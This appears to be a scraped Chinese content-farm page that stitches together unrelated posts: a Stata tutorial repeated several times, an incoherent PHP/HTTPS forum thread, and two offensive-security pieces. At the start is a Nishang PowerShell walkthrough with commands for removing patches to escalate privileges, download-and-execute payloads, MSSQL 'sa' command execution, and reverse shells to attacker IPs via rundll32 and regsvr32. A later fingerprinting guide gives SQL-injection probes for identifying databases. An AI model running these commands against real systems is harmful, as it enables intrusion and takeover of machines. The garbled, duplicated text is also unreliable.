AWAAnACkAOwAKAA=='}"
　　
　　卸载目标系统中指定的补丁,比如,可以尝试卸载一两个可直接用于提权的补丁,情不得已的情况下,我们也许还可以通过这种方式来快速拿回机器权限
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Escalation\Remove-Update.ps1';Remove-Update KB976902}"
　　
　　0x06 各种执行系统指令的方式,其实挺实用的,但我自己没成功,确实挺遗憾的[Execution]
　　利用powershell以文本的格式下载可执行文件,然后再自动转换成可执行格式并执行,下载者? 测了很多次都没成功,不太明白它的意思是直接提供一个可执行文件还是shellcode?
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Execution\Download_Execute.ps1';Download_Execute }"
　　下载并执行指定ps脚本
　　# powershell –exec bypass –Command "& {Import-Module 'C:\nishang\Execution\Download-Execute-PS.ps1';Download-Execute-PS -nodownload}"
　　
　　利用sa在内网中快速提权种马,这个可能需要交互,连接成功后你可以选择要返回一个什么样的shell,跟sqltools很像[自己用的比较少],基本都是靠这个小脚本,方便,灵活,隐蔽,稳定,小巧,绝逼好用
　　PS C:\> Set-ExecutionPolicy Unrestricted
　　PS C:\> Import-Module C:\nishang\Execution\Execute-Command-MSSQL.ps1
　　PS C:\> Execute-Command-MSSQL -ComputerName 2012R2DC -UserName sa -Password admin 实际渗透中可以用ip代替机器名
　　
　　利用dns txt 执行shellcode,有些还不是很通透,正在努力学习中……
　　Execute-DNSTXT-Code.ps1
　　利用rundll32执行各种payload和系统指令以及bypass AppLocker,多次测试均未果,是不是想起了什么呢,没错jsrat呢,嘿嘿……
　　# nc -lvp 443 -u
　　PS C:\> Import-Module C:\nishang\Execution\Out-RundllCommand.ps1
　　PS C:\> Out-RundllCommand -PayloadURL -Arguments "Invoke-PowerShellUdp -Reverse -IPAddress 192.168.3.251 -Port 53"
　　0x07 所支持的一些shell种类,至于是不是真正走的某种协议,自己拿wireshark看下就知道,篇幅原因,我就不扯的太多[Shells]
　　通过 regsvr32.exe 弹shell,脚本执行完以后会生成payload代码,然后把该代码拿到目标机器上去执行即可得到一个反向shell,实际测试未通过
　　PS C:\> Import-Module C:\nishang\Shells\Invoke-JSRatRegsvr.ps1
　　PS C:\> Invoke-JSRatRegsrv -IPAddress 192.168.3.23 -Port 808
　　通过 rundll32.exe 弹shell,依然未成功
　　PS C:\> Import-Module C:\nishang\Shells\Invoke-JSRatRundll.ps1
　　PS C:\> Invoke-JSRatRundll -IPAddress 192.168.3.23 -Port 808 查看全部

　　php禁止网页抓取 _variables介绍
　　技术总编：张计宝
　　导读
　　在stata的表达式中，除了外置变量之外，还有一种变量是内置变量，形式为“_variables”，它们是由stata创建和更新的内置系统变量，常见的有_n、_N、_b、_cons、_se、_pi、_rc等。需要提示的是，正是由于这些是系统内置变量，因此我们要避免使用这些单词来作为用户变量名，此外，stata还有许多内置变量也都是以下划线开头的，最好不要以“_”为第一个字元来定义变量。
　　1、_n和_N
　　_n和_N分别可以作为分组的计数器和总数用来索引观测值和生成数字序列，在处理数据时十分常用。举个简单的例子，在auto数据中，我们想分别给国产车和进口车进行编号并统计数量，那么就可以通过分组并使用_n和_N来实现：
　　clear allsysuse auto, clearbys foreign: gen count = _nbys foreign: gen total = _N
　　这样我们就得到了两个分组下每辆车的编号以及总数了：
　　
　　可以看到在这个数据中。国产车一共有52辆，进口车有22辆。
　　2、_b、_cons、_se和_pi
　　_b[]常用于回归之后，用于提取模型中的某个估计参数。_cons是常数的意思，就是回归方程中1的截距项，间接引用时则代表截距项，如和_b结合使用：_b[_cons]，代表提取模型截距项的估计值。_se[]用于提取模型某个系数的标准差。_pi代表圆周率Π的精确值，可直接用于三角函数的计算中。
　　3、_rc与capture
　　_rc可以看作是一个储存错误代码的暂元，当_rc等于0时代表程序成功执行且没有发生错误，反之即发生了错误。如果想要在不终止程序的前提下提取错误代码，就可以使用_rc来实现。例如在_rc前面加上display就可以直接显示当前程序的错误代码。
　　我们知道当capture后面的命令有错误时，会抑制其输出，并把错误代码存储在_rc中，因此在实际操作中经常结合二者来使用。在没有使用capture的情况下，如果没有发生错误，是不会返回错误代码的，而当发生错误时，会返回诸如r(111)此类的提示，这里r()中的数字就是_rc里储存的错误代码。错误代码的种类有很多，常见的有111（观测值不存在）、601（文件不存在）、109（类型不匹配）、199（命令不存在）等等，当遇到这些代码时，直接点击r(#)就可以查看错误原因类型，或者直接help r(#)也可以查看错误原因。
　　举个简单的例子，我们有时会为了避免重复而在创建文件夹时前面加上capture，表示如果该文件夹存在就跳过，如果不存在那么就创建。如果将创建文件夹的语句和“display _rc”一同运行，就可以看到文件夹是否成功新建，并且无需终止程序。如果想要输出的结果更加直观，可以设置提示语句：
　　cap mkdir "D:\mainwork\_variables介绍"if _rc != 0 {dis "该文件夹已存在！" //若错误代码不为0，输出“该文件夹已存在！”字样}
　　
　　由于小编之前已经创建过该文件夹，这里重复创建发生了错误，因此得到了已存在的提示。更重要的是，在网络爬虫中，使用_rc可以避免由网络延时导致的程序错误。以抓取新浪财经网页中长江电力的公司公告为例（网址为：），我们可以看到单个页面共有30条公告，一共有47页。如果我们想要爬取单个页面的30条公告，只需直接抓取，然后就可以进行清洗和处理了。代码也很简单：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"copy "http://vip.stock.finance.sina. ... ot%3B temp.txt, replaceinfix strL v 1-100000 using temp.txt, clear //读入抓取到的网页内容
　　但如果我们需要爬取该公司所有的公告，就需要对页码进行循环，也就是网址最后的数字：
　　
　　这时就会出现一个问题：在代码正确无误的情况下，却偶尔会出现报错。这是因为，在循环抓取网页时，有时网络的延迟会致使报错。那么，配合使用capture和_rc这对好朋友就能轻松解决这个爬虫过程中常见的问题了，具体代码如下：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"forvalues p = 1/10000 { cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace while _rc != 0 { sleep 5000 //当错误代码不为0时，休息5秒再继续运行 cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace }}
　　除此之外，我们还可以利用_rc的特性来显示错误提示，只需在_rc等于不同的值时，输出相应的错误原因即可。更多功能，一起来动手探索吧。
　　
　　对我们的推文累计打赏超过1000元，我们即可给您开具发票，发票类别为“咨询费”。用心做事，不负您的支持！
　　往期推文推荐
　　关于我们
　　微信公众号“Stata and Python数据分析”分享实用的stata、python等软件的数据处理知识，欢迎转载、打赏。我们是由李春涛教授领导下的研究生及本科生组成的大数据处理和分析团队。
　　此外，欢迎大家踊跃投稿，介绍一些关于stata和python的数据处理和分析技巧。投稿邮箱：投稿要求：
　　1）必须原创，禁止抄袭；
　　2）必须准确，详细，有例子，有截图；
　　注意事项：
　　1）所有投稿都会经过本公众号运营团队成员的审核，审核通过才可录用，一经录用，会在该推文里为作者署名，并有赏金分成。
　　2）邮件请注明投稿，邮件名称为“投稿+推文名称”。
　　3）应广大读者要求，现开通有偿问答服务，如果大家遇到有关数据处理、分析等问题，可以在公众号中提出，只需支付少量赏金，我们会在后期的推文里给予解答。
　　

　　 查看全部

　　php禁止网页抓取，那么你php程序要打通浏览器
　　php禁止网页抓取，那么你php程序要打通浏览器，
　　记得哪个同事说过，php的最大的短板就是javascript。用php是想让浏览器去写javascript的，nodejs已经有了一套类似的工具，那么node.js应该会是一个好选择。上手快，并且其后端语言是python，完全没有障碍。但是抓取的话，可能性还是很大的。
　　发布在github的php撸代码将会打破平台壁垒，让你的php无所不能。发布在sae的php撸代码将会打破开发壁垒，让你的php无所不能。发布在nodejs撸代码将会打破安全隔离壁垒，让你的php无所不能。到时候在读懂源码的基础上搭建一个可高可低的php架构让你无所不能。
　　php这种垃圾语言如果禁止抓取不会导致php有市场吗？php入门快学习难，而且很容易写出狗屎代码，responsenumber为0的request在php里面叫abort。绝大多数情况下，个人开发者都不建议用php做成php的浏览器语言，因为一般你都需要帮php把语法翻译成自己写的程序。
　　php里面的p变量本身就是个异步io任务，在这里抢占线程池或者专门加个worker处理线程池，抓取了再把处理返回给这个异步io线程(c#中/promise就是异步的，必须得把它变成异步才能执行，而c++中cpthread)，这样以来多余的php线程很可能就会影响性能，这对只抓取api请求的要求不高，但这是web开发都是php起的，因此编程习惯和开发习惯差异太大，后期用两种语言你以后估计就没法愉快玩耍了。 查看全部

　　php禁止网页抓取 _variables介绍
　　技术总编：张计宝
　　导读
　　在stata的表达式中，除了外置变量之外，还有一种变量是内置变量，形式为“_variables”，它们是由stata创建和更新的内置系统变量，常见的有_n、_N、_b、_cons、_se、_pi、_rc等。需要提示的是，正是由于这些是系统内置变量，因此我们要避免使用这些单词来作为用户变量名，此外，stata还有许多内置变量也都是以下划线开头的，最好不要以“_”为第一个字元来定义变量。
　　1、_n和_N
　　_n和_N分别可以作为分组的计数器和总数用来索引观测值和生成数字序列，在处理数据时十分常用。举个简单的例子，在auto数据中，我们想分别给国产车和进口车进行编号并统计数量，那么就可以通过分组并使用_n和_N来实现：
　　clear allsysuse auto, clearbys foreign: gen count = _nbys foreign: gen total = _N
　　这样我们就得到了两个分组下每辆车的编号以及总数了：
　　
　　可以看到在这个数据中。国产车一共有52辆，进口车有22辆。
　　2、_b、_cons、_se和_pi
　　_b[]常用于回归之后，用于提取模型中的某个估计参数。_cons是常数的意思，就是回归方程中1的截距项，间接引用时则代表截距项，如和_b结合使用：_b[_cons]，代表提取模型截距项的估计值。_se[]用于提取模型某个系数的标准差。_pi代表圆周率Π的精确值，可直接用于三角函数的计算中。
　　3、_rc与capture
　　_rc可以看作是一个储存错误代码的暂元，当_rc等于0时代表程序成功执行且没有发生错误，反之即发生了错误。如果想要在不终止程序的前提下提取错误代码，就可以使用_rc来实现。例如在_rc前面加上display就可以直接显示当前程序的错误代码。
　　我们知道当capture后面的命令有错误时，会抑制其输出，并把错误代码存储在_rc中，因此在实际操作中经常结合二者来使用。在没有使用capture的情况下，如果没有发生错误，是不会返回错误代码的，而当发生错误时，会返回诸如r(111)此类的提示，这里r()中的数字就是_rc里储存的错误代码。错误代码的种类有很多，常见的有111（观测值不存在）、601（文件不存在）、109（类型不匹配）、199（命令不存在）等等，当遇到这些代码时，直接点击r(#)就可以查看错误原因类型，或者直接help r(#)也可以查看错误原因。
　　举个简单的例子，我们有时会为了避免重复而在创建文件夹时前面加上capture，表示如果该文件夹存在就跳过，如果不存在那么就创建。如果将创建文件夹的语句和“display _rc”一同运行，就可以看到文件夹是否成功新建，并且无需终止程序。如果想要输出的结果更加直观，可以设置提示语句：
　　cap mkdir "D:\mainwork\_variables介绍"if _rc != 0 {dis "该文件夹已存在！" //若错误代码不为0，输出“该文件夹已存在！”字样}
　　
　　由于小编之前已经创建过该文件夹，这里重复创建发生了错误，因此得到了已存在的提示。更重要的是，在网络爬虫中，使用_rc可以避免由网络延时导致的程序错误。以抓取新浪财经网页中长江电力的公司公告为例（网址为：），我们可以看到单个页面共有30条公告，一共有47页。如果我们想要爬取单个页面的30条公告，只需直接抓取，然后就可以进行清洗和处理了。代码也很简单：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"copy "http://vip.stock.finance.sina. ... ot%3B temp.txt, replaceinfix strL v 1-100000 using temp.txt, clear //读入抓取到的网页内容
　　但如果我们需要爬取该公司所有的公告，就需要对页码进行循环，也就是网址最后的数字：
　　
　　这时就会出现一个问题：在代码正确无误的情况下，却偶尔会出现报错。这是因为，在循环抓取网页时，有时网络的延迟会致使报错。那么，配合使用capture和_rc这对好朋友就能轻松解决这个爬虫过程中常见的问题了，具体代码如下：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"forvalues p = 1/10000 { cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace while _rc != 0 { sleep 5000 //当错误代码不为0时，休息5秒再继续运行 cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace }}
　　除此之外，我们还可以利用_rc的特性来显示错误提示，只需在_rc等于不同的值时，输出相应的错误原因即可。更多功能，一起来动手探索吧。
　　
　　对我们的推文累计打赏超过1000元，我们即可给您开具发票，发票类别为“咨询费”。用心做事，不负您的支持！
　　往期推文推荐
　　关于我们
　　微信公众号“Stata and Python数据分析”分享实用的stata、python等软件的数据处理知识，欢迎转载、打赏。我们是由李春涛教授领导下的研究生及本科生组成的大数据处理和分析团队。
　　此外，欢迎大家踊跃投稿，介绍一些关于stata和python的数据处理和分析技巧。投稿邮箱：投稿要求：
　　1）必须原创，禁止抄袭；
　　2）必须准确，详细，有例子，有截图；
　　注意事项：
　　1）所有投稿都会经过本公众号运营团队成员的审核，审核通过才可录用，一经录用，会在该推文里为作者署名，并有赏金分成。
　　2）邮件请注明投稿，邮件名称为“投稿+推文名称”。
　　3）应广大读者要求，现开通有偿问答服务，如果大家遇到有关数据处理、分析等问题，可以在公众号中提出，只需支付少量赏金，我们会在后期的推文里给予解答。
　　
　　
　　 查看全部

　　网站安全,是保障一切业务安全的基础(组图)
　　php禁止网页抓取，还是单页面。你可以试试ib前端抓取库，很好用，比较高级的一个抓取库。
　　apache+nginx就可以实现,php也可以,不过,如果是个人站,没必要搞的这么复杂,apache+nginx就可以了,适合个人站
　　正规的话,把网站给人用,其实还是要用到https协议,绝大多数情况,都要用这个协议。网站安全,是保障一切业务安全的基础,楼主应该是一个初学者,也不好给你过多的建议,推荐你看看我写的几篇文章:www。zjhxy。io如何安全地在任何协议中加密服务器?如何加密restapi或openapiwithhttpsandssl?。
　　为什么要强调安全性呢？重点在哪里？如果仅仅考虑收费，那么需要慎重考虑了，如果追求性价比，那也建议你先把成本给核算清楚，找专业的人，既然你没有明确的需求，那就没有强求的意义了。
　　不能，不要用安全性的幌子掩盖商业模式的不健康！只要本地存数据库就行，不需要什么安全性。
　　你需要参照下我写的网站防抓包https&ssl教程网站防抓包https&ssl教程
　　我认为本地存数据库就可以了，全站https加密也无需用googletransfercapture，关键看你怎么盈利，如果想做免费或性价比不高，可以用urllib2重定向api封装https版本。有的人认为为了验证ssl安全而预先连接几百个随机域名没必要，因为如果用于商业行为，用验证方式很容易导致他们做假或盗用，目前我看urllib2封装https已经很完善了。
　　p.s.目前2.3.7及以上的版本iis7不支持sslauthentication-v7.0.3(sslauthentication)那么最新版本是sslprotocollinks,貌似只支持了ip地址，浏览器则使用端口x64。 查看全部

　　php禁止网页抓取 指纹识别大全
　　Windows操作系统不区分大小写，Linux系统大小写敏感，用此方法能够判断是Windows还是Linux系统。•ping
　　判断是Linux还是Windows最简单就是通过ping来探测，Windows的TTL值都是一般是128，Linux则是64。所以大于100的肯定是Windows，而几十的肯定是Linux。
　　但是，通过TTL值来判断服务器类型也不是百分之百准确的，有些windows服务器的TTL值也是几十，而且有的服务器禁止ping。
　　
　　脚本类型
　　我们需要知道网站用的脚本类型：php 、Jsp 、Asp 、Aspx 、html。
　　为什么要进行脚本类型探测？
　　•网站会进行伪装，要么没有后缀，要么就是伪静态。•有些站点会修改解析后缀，比如：本来是PHP的站点，可以修改文件把asp后缀当作php解析。
　　探测脚本类型：1.如果不是静态或者伪静态 则多点开几个界面，可以看到脚本后缀。2.最简单的方法，在域名后面分别加个 /index.asp /index.aspx /index.php /index.jsp 不报错则是网站支持的脚本语言 原理：大部分网站根目录都会放个index首页文件，这是最快速最简单的方式。3.F12审查元素，在返回头一般都能看到网站脚本。4.网站的 robots.txt site.xml 这些文件很可能会有暴露网站的语言 这个直接就访问，robots.txt 等等就可以，存在的话网站脚本一目了然。5.在网站任意界面直接查看源码，搜索asp或aspx或php或jsp 很多伪静态的站，都可以用这种方法。他会调用一些动态脚本，在源码会看到。6.用google搜索 site:xxx filetype:php site:目标站域名 inurl:脚本语言类型 如果收录不是很少，一般都能看出来。7.抓取数据包，分析cookie或session名称，有可能有脚本前缀 比如：php的站点， session名称是 phpsesssion.
　　物理路径
　　参考：
　　敏感文件、目录
　　参考：
　　数据库
　　我们需要知道网站用的是哪种类型的数据库：Mysql、Oracle、SqlServer 还是 Access 。
　　虽然这几种数据库的语法大体上相同，但是还是有区别的。
　　所以我们还是要知道目标网站用的是哪种数据库，并且数据库是哪个版本的。
　　几种数据库的区别：
　　•Access 全名是Microsoft Office Access，是由微软发布的关联式数据库管理系统。小型数据库，当数据库达到100M左右的时候性能就会下降。
　　数据库后缀名：.mdb 一般是asp的网页文件用access数据库•SQL Server是由Microsoft开发和推广的关系数据库管理系统（DBMS），是一个比较大型的数据库。
　　端口号为1433。数据库后缀名 .mdf•MySQL 是一个关系型数据库管理系统，由瑞典MySQL AB 公司开发，目前属于 Oracle 旗下产品。
　　MySQL是最流行的关系型数据库管理系统，在 WEB 应用方面MySQL是最好的应用软件之一，MySQL数据库大部分是php的页面。默认端口是3306•Oracle又名Oracle RDBMS，或简称Oracle。
　　是甲骨文公司的一款关系数据库管理系统。常用于比较大的网站。默认端口是1521
　　首先，成本上的差距，access是不要钱的，mysql也是开源的，sql server 是收费的一般也就几千，Oracle的费用则数万。
　　其次，处理能力，access支持千以内的访问量，sql server支持几千到上万的访问，而Oracle则支持海量的访问。
　　再次，从数据库的规模来看，access是小型数据库，mysql 是中小型数据库，sql server是中型数据库，Oracle是大型数据库。
　　判断网站搭建数据库的方法：
　　•【根据脚本语言判断】
　　如果语言为asp,基本就是access数据库 aspx可能是mssql很少是access jsp的站oracle居多 php一般为mysql (也有可能是其他数据库)•【根据报错判断】
　　在参数后面使网站报错也可能会给出数据库报错信息，报错方法很多，可以修改参数为不存在的参数，比如9999999 也可以用特殊符号，等等。•【根据数据库特性判断】
　　存在注入时 在参数后面加上 and len('a')=1 如果返回正常，一般数据库为mssql或mysql，大站的话可能是db2，界面返回错误的话，数据库基本是oracle
　　在参数后面加上 ;and (select count(*) from sysobjects)>0 如果返回正常那就是mssql数据库，如果不正常那就不是mssql(sql server)•【根据端口判断】
　　这个很简单，其实你扫一下端口，就知道是什么数据库了。
　　1433对应mssql数据库 3306对应mysql数据库。1521对应oracle数据库
　　如果端口被更改，可以逐一用 xx.xx.xx.xx:: 尝试访问端口，如果是数据库端口，会返回对应的无法连接数据库的英文 。不是数据库，服务器会一直载入或者找不到界面。
　　中间件
　　知道了这些信息之后，我们就需要知道网站用的web服务器是什么类型的：Apache、Nginx、Tomcat 还是 IIS。
　　知道了web服务器是哪种类型后，我们还要探测web服务器具体的版本。
　　比如Ngnix版本CMS
　　CMS又称整站系统。
　　常见的CMS有：WordPress、Dedecms、Discuz、PhpWeb、PhpWind、Dvbbs、PhpCMS、ECShop、、SiteWeaver、AspCMS、帝国、Z-Blog等。
　　CMS指纹识别又有很多方法，比如说御剑指纹识别、Webrobot工具、whatweb工具、还有在线查询的网站等等。
　　CMS在线指纹识别：
　　WAF
　　Waf也叫Web应用防火墙，是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
　　常用的两种方式：
　　（1）手工（提交恶意数据，简单粗暴）
　　（2）Kaili工具（WAFW00F、Nmap）
　　•Nmap探测WAF有两种脚本 查看全部

　　php禁止网页抓取 _variables介绍
　　技术总编：张计宝
　　导读
　　在stata的表达式中，除了外置变量之外，还有一种变量是内置变量，形式为“_variables”，它们是由stata创建和更新的内置系统变量，常见的有_n、_N、_b、_cons、_se、_pi、_rc等。需要提示的是，正是由于这些是系统内置变量，因此我们要避免使用这些单词来作为用户变量名，此外，stata还有许多内置变量也都是以下划线开头的，最好不要以“_”为第一个字元来定义变量。
　　1、_n和_N
　　_n和_N分别可以作为分组的计数器和总数用来索引观测值和生成数字序列，在处理数据时十分常用。举个简单的例子，在auto数据中，我们想分别给国产车和进口车进行编号并统计数量，那么就可以通过分组并使用_n和_N来实现：
　　clear allsysuse auto, clearbys foreign: gen count = _nbys foreign: gen total = _N
　　这样我们就得到了两个分组下每辆车的编号以及总数了：
　　
　　可以看到在这个数据中。国产车一共有52辆，进口车有22辆。
　　2、_b、_cons、_se和_pi
　　_b[]常用于回归之后，用于提取模型中的某个估计参数。_cons是常数的意思，就是回归方程中1的截距项，间接引用时则代表截距项，如和_b结合使用：_b[_cons]，代表提取模型截距项的估计值。_se[]用于提取模型某个系数的标准差。_pi代表圆周率Π的精确值，可直接用于三角函数的计算中。
　　3、_rc与capture
　　_rc可以看作是一个储存错误代码的暂元，当_rc等于0时代表程序成功执行且没有发生错误，反之即发生了错误。如果想要在不终止程序的前提下提取错误代码，就可以使用_rc来实现。例如在_rc前面加上display就可以直接显示当前程序的错误代码。
　　我们知道当capture后面的命令有错误时，会抑制其输出，并把错误代码存储在_rc中，因此在实际操作中经常结合二者来使用。在没有使用capture的情况下，如果没有发生错误，是不会返回错误代码的，而当发生错误时，会返回诸如r(111)此类的提示，这里r()中的数字就是_rc里储存的错误代码。错误代码的种类有很多，常见的有111（观测值不存在）、601（文件不存在）、109（类型不匹配）、199（命令不存在）等等，当遇到这些代码时，直接点击r(#)就可以查看错误原因类型，或者直接help r(#)也可以查看错误原因。
　　举个简单的例子，我们有时会为了避免重复而在创建文件夹时前面加上capture，表示如果该文件夹存在就跳过，如果不存在那么就创建。如果将创建文件夹的语句和“display _rc”一同运行，就可以看到文件夹是否成功新建，并且无需终止程序。如果想要输出的结果更加直观，可以设置提示语句：
　　cap mkdir "D:\mainwork\_variables介绍"if _rc != 0 {dis "该文件夹已存在！" //若错误代码不为0，输出“该文件夹已存在！”字样}
　　
　　由于小编之前已经创建过该文件夹，这里重复创建发生了错误，因此得到了已存在的提示。更重要的是，在网络爬虫中，使用_rc可以避免由网络延时导致的程序错误。以抓取新浪财经网页中长江电力的公司公告为例（网址为：），我们可以看到单个页面共有30条公告，一共有47页。如果我们想要爬取单个页面的30条公告，只需直接抓取，然后就可以进行清洗和处理了。代码也很简单：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"copy "http://vip.stock.finance.sina. ... ot%3B temp.txt, replaceinfix strL v 1-100000 using temp.txt, clear //读入抓取到的网页内容
　　但如果我们需要爬取该公司所有的公告，就需要对页码进行循环，也就是网址最后的数字：
　　
　　这时就会出现一个问题：在代码正确无误的情况下，却偶尔会出现报错。这是因为，在循环抓取网页时，有时网络的延迟会致使报错。那么，配合使用capture和_rc这对好朋友就能轻松解决这个爬虫过程中常见的问题了，具体代码如下：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"forvalues p = 1/10000 { cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace while _rc != 0 { sleep 5000 //当错误代码不为0时，休息5秒再继续运行 cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace }}
　　除此之外，我们还可以利用_rc的特性来显示错误提示，只需在_rc等于不同的值时，输出相应的错误原因即可。更多功能，一起来动手探索吧。
　　
　　对我们的推文累计打赏超过1000元，我们即可给您开具发票，发票类别为“咨询费”。用心做事，不负您的支持！
　　往期推文推荐
　　关于我们
　　微信公众号“Stata and Python数据分析”分享实用的stata、python等软件的数据处理知识，欢迎转载、打赏。我们是由李春涛教授领导下的研究生及本科生组成的大数据处理和分析团队。
　　此外，欢迎大家踊跃投稿，介绍一些关于stata和python的数据处理和分析技巧。投稿邮箱：投稿要求：
　　1）必须原创，禁止抄袭；
　　2）必须准确，详细，有例子，有截图；
　　注意事项：
　　1）所有投稿都会经过本公众号运营团队成员的审核，审核通过才可录用，一经录用，会在该推文里为作者署名，并有赏金分成。
　　2）邮件请注明投稿，邮件名称为“投稿+推文名称”。
　　3）应广大读者要求，现开通有偿问答服务，如果大家遇到有关数据处理、分析等问题，可以在公众号中提出，只需支付少量赏金，我们会在后期的推文里给予解答。
　　
　　
　　 查看全部

　　php禁止网页抓取 _variables介绍
　　技术总编：张计宝
　　导读
　　在stata的表达式中，除了外置变量之外，还有一种变量是内置变量，形式为“_variables”，它们是由stata创建和更新的内置系统变量，常见的有_n、_N、_b、_cons、_se、_pi、_rc等。需要提示的是，正是由于这些是系统内置变量，因此我们要避免使用这些单词来作为用户变量名，此外，stata还有许多内置变量也都是以下划线开头的，最好不要以“_”为第一个字元来定义变量。
　　1、_n和_N
　　_n和_N分别可以作为分组的计数器和总数用来索引观测值和生成数字序列，在处理数据时十分常用。举个简单的例子，在auto数据中，我们想分别给国产车和进口车进行编号并统计数量，那么就可以通过分组并使用_n和_N来实现：
　　clear allsysuse auto, clearbys foreign: gen count = _nbys foreign: gen total = _N
　　这样我们就得到了两个分组下每辆车的编号以及总数了：
　　
　　可以看到在这个数据中。国产车一共有52辆，进口车有22辆。
　　2、_b、_cons、_se和_pi
　　_b[]常用于回归之后，用于提取模型中的某个估计参数。_cons是常数的意思，就是回归方程中1的截距项，间接引用时则代表截距项，如和_b结合使用：_b[_cons]，代表提取模型截距项的估计值。_se[]用于提取模型某个系数的标准差。_pi代表圆周率Π的精确值，可直接用于三角函数的计算中。
　　3、_rc与capture
　　_rc可以看作是一个储存错误代码的暂元，当_rc等于0时代表程序成功执行且没有发生错误，反之即发生了错误。如果想要在不终止程序的前提下提取错误代码，就可以使用_rc来实现。例如在_rc前面加上display就可以直接显示当前程序的错误代码。
　　我们知道当capture后面的命令有错误时，会抑制其输出，并把错误代码存储在_rc中，因此在实际操作中经常结合二者来使用。在没有使用capture的情况下，如果没有发生错误，是不会返回错误代码的，而当发生错误时，会返回诸如r(111)此类的提示，这里r()中的数字就是_rc里储存的错误代码。错误代码的种类有很多，常见的有111（观测值不存在）、601（文件不存在）、109（类型不匹配）、199（命令不存在）等等，当遇到这些代码时，直接点击r(#)就可以查看错误原因类型，或者直接help r(#)也可以查看错误原因。
　　举个简单的例子，我们有时会为了避免重复而在创建文件夹时前面加上capture，表示如果该文件夹存在就跳过，如果不存在那么就创建。如果将创建文件夹的语句和“display _rc”一同运行，就可以看到文件夹是否成功新建，并且无需终止程序。如果想要输出的结果更加直观，可以设置提示语句：
　　cap mkdir "D:\mainwork\_variables介绍"if _rc != 0 {dis "该文件夹已存在！" //若错误代码不为0，输出“该文件夹已存在！”字样}
　　
　　由于小编之前已经创建过该文件夹，这里重复创建发生了错误，因此得到了已存在的提示。更重要的是，在网络爬虫中，使用_rc可以避免由网络延时导致的程序错误。以抓取新浪财经网页中长江电力的公司公告为例（网址为：），我们可以看到单个页面共有30条公告，一共有47页。如果我们想要爬取单个页面的30条公告，只需直接抓取，然后就可以进行清洗和处理了。代码也很简单：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"copy "http://vip.stock.finance.sina. ... ot%3B temp.txt, replaceinfix strL v 1-100000 using temp.txt, clear //读入抓取到的网页内容
　　但如果我们需要爬取该公司所有的公告，就需要对页码进行循环，也就是网址最后的数字：
　　
　　这时就会出现一个问题：在代码正确无误的情况下，却偶尔会出现报错。这是因为，在循环抓取网页时，有时网络的延迟会致使报错。那么，配合使用capture和_rc这对好朋友就能轻松解决这个爬虫过程中常见的问题了，具体代码如下：
　　clearcap mkdir "D:\mainwork\新浪上市公司公告"cd "D:\mainwork\新浪上市公司公告"forvalues p = 1/10000 { cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace while _rc != 0 { sleep 5000 //当错误代码不为0时，休息5秒再继续运行 cap copy "http://vip.stock.finance.sina. ... ge%3D`p'" temp.txt, replace }}
　　除此之外，我们还可以利用_rc的特性来显示错误提示，只需在_rc等于不同的值时，输出相应的错误原因即可。更多功能，一起来动手探索吧。
　　
　　对我们的推文累计打赏超过1000元，我们即可给您开具发票，发票类别为“咨询费”。用心做事，不负您的支持！
　　往期推文推荐
　　关于我们
　　微信公众号“Stata and Python数据分析”分享实用的stata、python等软件的数据处理知识，欢迎转载、打赏。我们是由李春涛教授领导下的研究生及本科生组成的大数据处理和分析团队。
　　此外，欢迎大家踊跃投稿，介绍一些关于stata和python的数据处理和分析技巧。投稿邮箱：投稿要求：
　　1）必须原创，禁止抄袭；
　　2）必须准确，详细，有例子，有截图；
　　注意事项：
　　1）所有投稿都会经过本公众号运营团队成员的审核，审核通过才可录用，一经录用，会在该推文里为作者署名，并有赏金分成。
　　2）邮件请注明投稿，邮件名称为“投稿+推文名称”。
　　3）应广大读者要求，现开通有偿问答服务，如果大家遇到有关数据处理、分析等问题，可以在公众号中提出，只需支付少量赏金，我们会在后期的推文里给予解答。
　　
　　
　　 查看全部

　　php禁止网页抓取 _variables介绍
　　技术总编：张计宝
　　导读
　　在stata的表达式中，除了外置变量之外，还有一种变量是内置变量，形式为“_variables”，它们是由stata创建和更新的内置系统变量，常见的有_n、_N、_b、_cons、_se、_pi、_rc等。需要提示的是，正是由于这些是系统内置变量，因此我们要避免使用这些单词来作为用户变量名，此外，stata还有许多内置变量也都是以下划线开头的，最好不要以“_”为第一个字元来定义变量。
　　1、_n和_N
　　_n和_N分别可以作为分组的计数器和总数用来索引观测值和生成数字序列，在处理数据时十分常用。举个简单的例子，在auto数据中，我们想分别给国产车和进口车进行编号并统计数量，那么就可以通过分组并使用_n和_N来实现：
　　clear allsysuse auto, clearbys foreign: gen count = _nbys foreign: gen total = _N
　　这样我们就得到了两个分组下每辆车的编号以及总数了：
　　
　　可以看到在这个数据中。国产车一共有52辆，进口车有22辆。
　　2、_b、_cons、_se和_pi
　　_b[]常用于回归之后，用于提取模型中的某个估计参数。_cons是常数的意思，就是回归方程中1的截距项，间接引用时则代表截距项，如和_b结合使用：_b[_cons]，代表提取模型截距项的估计值。_se[]用于提取模型某个系数的标准差。_pi代表圆周率Π的精确值，可直接用于三角函数的计算中。
　　3、_rc与capture
